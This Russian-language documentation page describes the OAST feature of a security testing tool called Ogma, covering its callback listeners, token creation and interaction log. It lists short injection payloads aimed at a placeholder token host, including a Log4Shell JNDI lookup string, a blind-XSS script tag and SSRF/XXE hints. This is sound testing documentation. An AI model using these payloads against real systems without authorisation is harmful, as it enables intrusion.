OAST
OAST (Out-of-Band Application Security Testing) обнаруживает уязвимости без видимого ответа: вместо него цель устанавливает исходящее соединение с контролируемым вами слушателем, подтверждая проблему.
Как это работает
Ogma запускает локальные слушатели нескольких протоколов. Когда целевое приложение обращается к ним, взаимодействие записывается с исходным IP, временем, полученными данными и внедрённым токеном.
Протоколы слушателей
| Протокол | Порт по умолчанию | Применение |
|---|---|---|
| HTTP | Настраивается | SSRF, слепой XSS, вебхуки |
| HTTPS | Настраивается | SSRF через TLS |
| DNS | Настраивается | Слепая инъекция, XXE, log4shell |
| SMTP | Настраивается | Инъекция почтовых заголовков, SSRF к почтовым сервисам |
Настройте порты слушателей и доменное имя токенов в панели настроек OAST.
Создание токена обратного обращения
- Откройте Утилиты > OAST.
- Нажмите Создать токен. Каждый токен уникален для теста.
- Скопируйте токен. Он содержит домен слушателя и уникальный идентификатор для сопоставления обращений с тестом.
Пример формата: [unique-id].[your-oast-domain]
Использование токенов в тестовых данных
Вставляйте токен в любое поле, которое может вызвать исходящее соединение приложения:
- SSRF — используйте HTTP/HTTPS-токен как целевой URL:
https://[token]/ - XXE — укажите токен в DOCTYPE или URL внешней сущности.
- Log4Shell — вставьте в заголовок:
${jndi:ldap://[token]/a} - Слепой XSS — вставьте как src скрипта:
<script src="https://[token]/x.js"></script> - Инъекция SMTP — используйте как адрес назначения или URL в почтовых заголовках.
Журнал взаимодействий
Панель показывает каждое полученное обратное обращение:
| Столбец | Описание |
|---|---|
| Время | Когда получено взаимодействие |
| Протокол | HTTP, HTTPS, DNS или SMTP |
| Исходный IP | Адрес, установивший соединение |
| Токен | Токен, к которому обратились |
| Данные | Путь запроса, имя DNS-запроса или данные SMTP |
Нажмите строку для полных сведений, включая заголовки и тело запроса, где применимо.
Сопоставление взаимодействий с тестами
Уникальность токенов позволяет вставлять разные токены в разные параметры или запросы и точно определять точку внедрения, вызвавшую обращение.